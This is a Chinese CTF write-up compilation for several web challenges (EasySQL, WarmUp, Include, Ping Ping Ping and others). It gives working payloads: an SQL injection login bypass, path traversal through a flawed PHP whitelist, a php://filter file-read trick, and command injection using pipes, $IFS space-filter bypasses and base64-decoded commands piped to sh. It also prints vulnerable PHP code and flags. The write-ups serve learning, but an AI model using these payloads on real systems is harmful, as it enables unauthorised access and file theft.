[极客大挑战 2019]EasySQL
题型:一个简简单单的SQL注入。
一个登录页面,相当一把锁,那我们需要一个钥匙,这里尝试一下万能钥匙吧。
附页:
比如我们对一个登录功能进行注入,我们在不知道密码的情况下,在密码栏输入 1’ or 1 = 1 # ,那么这个sql语句执行的就是select * from user where password=‘1’ or 1 =1 # 被注释部分,显而易见这样的查询返回的必定是真,所以我们可以直接登录。
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/qq_51003021/article/details/126310258
SQL基础注入 ,在这里可以去学习了解一下,SQL注入,以及为啥1’+‘1’=‘1是万能钥匙了。
登录得到flag。
[极客大挑战 2019]Havefun
无论是查看源代码,还是f12查看板都可以看到,这是个GET传参。
payload 构造:/?cat = dog,得到flag。
这里引用一个渗透专业名词,没事的时候可以看看。
[HCTF 2018]WarmUp
类型:PHP 代码审计
查看一下源代码,发现有一个php文件,
打开,即后缀/source.php加上,即可。
打开以后发现了一堆php代码
同样的,后缀更改/hint.php,进入看看吧,
flag不在这里,在这个ffffllllaaaagggg里。好吧,后缀更改 /ffffllllaaaagggg,发现不对,题中提示代码审计,了解一下代码审计基础
不会写,查了一个大佬的:
然后回来source.php看这段代码,通过上网查询关于php的函数的用法。然后审计代码得出,其中有两个解法,如果if函数成立(也就是(白名单)?file=(白名单)?)我们就会得到它包含在里面的文件{file}。
php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)//这里定义了一个checkFire函数
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单
if (! isset($page) || !is_string($page)) {//判断格式与是否是字符类型
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//截取问号前的字符串
);
if (in_array($_page, $whitelist)) {//判断是不是白名单上的
return true;
}
$_page = urldecode($page);//如果不成立则执行该代码块
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')//这里对‘?’二次URL解码
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])//检查变量是否为空
&& is_string($_REQUEST['file'])//判断是否为字符串
&& emmm::checkFile($_REQUEST['file'])//调用checkFile函数————————>需要函数返回一个true;
) {
include $_REQUEST['file'];//这里包含一个文件 盲猜里面有flag
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
(php代码、函数看不懂就上网搜)
我们键入source.php?file=hint.php?ffffllllaaaagggg
这里我们看不到那个表情包图片,说明我们键入的source.php?file=hint.php?ffffllllaaaagggg———满足条件
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/weixin_64160292/article/details/123859749
由于我们不知道它的目录,所以用../返回(5次),打开ffffllllaaaagggg文件,说明在需要在后面建入 :
source.php?file=hint.php?../../../../../ffffllllaaaagggg
本题需要一点php编程基础
涉及的语法:
is_string():检测变量是否是字符串
isset():检测变量是否已设置并且非 NULL
in_array(要搜索的值,要搜索的数组):搜索数组中是否存在指定的值
mb_substr($page,n,m):返回page中从第n位开始,到n+m位字符串的值
mb_strpos():查找字符串在另一个字符串中首次出现的位置
urldecode():将url编码后的字符串还原成未编码的样子
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/m0_52923241/article/details/119641325
答案就可以得到了。
[ACTF2020 新生赛]Include
打开以后看到了一个绿绿的tips,点它!
发现了url的上面多了一个flag.php文件,那就很可能和漏洞有关了,想想办法怎末打开这个文件尼。。。
学习一下:
重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag;
payload: /?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base64编码后的内容为:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7Y2U4MzdmMmYtYjI2Mi00ZDYxLWEzOWQtOTE4OWIwYmM0ODZkfQo=
base64解码一下就可以了。base64编码工具
[ACTF2020 新生赛]Exe
一个很熟悉的题,首先了解一下基础知识点。
ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)
cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上。
所以默认地址输入并查看一下目录:
127.0.0.1|ls
得到文件目录:
只有一个php文件,试了一下没啥用,访问一下上一级:
127.0.0.1|ls /
得到了完整目录:
有个flag文件,打开看看是不是答案吧
127.0.0.1|cat /flag
注意空格,得到了答案
[GXYCTF2019]Ping Ping Ping
这里打开以后提示了有关ip的,并且有点像命令执行,试一下默认ip
/?ip=127.0.0.1|ls
得到两个文件。
打开这两个文件
/?ip=127.0.0.1|cat flag.php
/?ip=127.0.0.1|cat index.php
相同的结果,/?ip=关闭你的共享空间。查了一下,说是存在对空格的过滤。
命令中空格被过滤的解决方法:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
1./?ip=127.0.0.1|{cat,flag.php}
{}被过滤了,直接上第3种。
3./?ip=127.0.0.1|cat$IFS$9flag.php
flag被过滤了。说明这个文件不行,换一个文件
/?ip=127.0.0.1|cat$IFS$9index.php
出现了不一样的东西。看不懂,看看别人的做法吧。
- 方法一:变量拼接字符串——将a的值覆盖,然后进行绕过
构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
总之就是用变量拼接成flag
啥也没有,查看源码
/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
<?php
$flag = "flag{af15354a-6bdf-4609-b230-75bdc03e1dbf}";
?>
拿到flag~~
- 方法二:内联执行
内联函数:将指定的函数体插入并取代每一处调用该函数的地方。
反引号在linux中作为内联执行,执行输出结果。也就是说
cat `ls` //执行ls输出 index.php 和 flag.php 。然后再执行 cat flag.php;cat index.php
构造payload /?ip=127.0.0.1;cat$IFS$9`ls`
- 方法三:sh命令来执行
使用 base64 编码的方式来绕过 flag 过滤。
加密命令
echo “cat flag.php” | base64
解密命令并执行
echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
然后用$IFS$9代替空格。
构造payload:/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
拿到flag~~
[强网杯 2019]随便注
很抱歉,不会,我太菜了,给大家提供厉害的答案。
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
[SUCTF 2019]EasySQL
和上一题一样,注入题,不会
下面是学习众多大佬的方法
不知道大佬们怎么猜测出查询语句为:select ".$post['query']."||flag from Flag
由于本题没有过滤*
,用*
查询flag中的所有字段,所以直接构造payload为:
*,1
就是这么神奇